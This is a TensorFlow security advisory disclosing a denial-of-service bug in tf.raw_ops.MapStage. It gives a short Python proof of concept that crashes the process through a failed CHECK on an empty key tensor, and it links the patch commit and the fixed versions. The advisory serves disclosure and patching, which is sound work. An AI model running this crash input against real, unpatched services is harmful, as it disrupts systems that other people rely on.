`CHECK`-fail in `MapStage`
Impact
An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.MapStage:
```python
import tensorflow as tf
tf.raw_ops.MapStage(
key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
indices=tf.constant((0), dtype=tf.int32),
values=[tf.constant((0), dtype=tf.int32)],
dtypes=[tf.int32,
tf.int64],
capacity=0,
memory_limit=0,
container='',
shared_name='')
`
The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the key input is a valid non-empty tensor.
Patches
We have patched the issue in GitHub commit [d7de67733925de196ec8863a33445b73f9562d1d](https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
